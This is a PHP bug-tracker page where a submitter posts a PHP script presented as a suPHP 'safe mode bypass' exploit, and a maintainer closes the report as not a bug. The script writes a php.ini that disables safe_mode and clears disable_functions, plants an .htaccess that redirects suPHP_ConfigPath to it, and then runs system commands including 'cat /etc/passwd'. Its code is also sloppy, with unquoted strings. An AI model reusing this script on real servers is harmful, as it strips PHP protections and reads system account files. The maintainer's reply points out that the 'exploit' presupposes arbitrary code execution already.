php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #71095 Vulnerability Bypassing Safe Mode with Exploit in apache 1.x And 2.x
Submitted: 2015-12-11 14:55 UTC Modified: 2015-12-11 15:53 UTC
From: soufiane dot boussali at efet dot ac dot ma Assigned:
Status: Not a bug Package: *General Issues
PHP Version: 7.0.1RC1 OS: multiple
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: soufiane dot boussali at efet dot ac dot ma
New email:
PHP Version: OS:

 

 [2015-12-11 14:55 UTC] soufiane dot boussali at efet dot ac dot ma
Description:
------------
apache 1.x <=> 2.x suphp (suPHP_ConfigPath) bypass safe mode exploit‎

<?
/*
apache 1.x <=> 2.x suphp (suPHP_ConfigPath) bypass safe mode exploit
Author   : Soufiane Boussali
Facebook : fb.com/soufian.ckin2u
*/


echo "[+] Start...
";

$bypfile=fopen(php.ini,w+);
$stuffile=fopen(.htaccess,w+);
if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! 
";

}
else{
echo "[-] access denial ! 
";

}
$byprullz1="safe_mode          =       OFF

";

$byprullz2="disable_functions       =            NONE";
$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);
if($dj and $dj1!= NULL){
echo "[+] php.ini writed 
";

}
else{
echo "[-] 404 php.ini not found !
";
}
$breakrullz="suPHP_ConfigPath /home/user/public_html/php.ini"; // replace this /home/user/public_html by ur path 

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);
if($sf7!= NULL){

echo "[+] evil .htaccess writed
";
echo "[+] exploited by success!


";
echo "			[+] discouvred by Hacker404
";
echo "			[+] hackerone.com/hacker404
";
echo "			[+] Facebook : fb.com/soufian.ckin2u
";
}
else{

echo "[-] evil .htaccess Not found!
";
}


system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF
?>

Risk : high Levele

Soufiane Boussali

Best Regards,


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-12-11 15:53 UTC] requinix@php.net
-Status: Open +Status: Not a bug -Package: PHP Language Specification +Package: *General Issues
 [2015-12-11 15:53 UTC] requinix@php.net
So you're saying that if somebody can execute arbitrary code on your server then they can do all sorts of bad things? NO WAY!
 
PHP Copyright © 2001-2026 The PHP Group
All rights reserved.
Last updated: Thu Oct 08 00:00:02 2026 UTC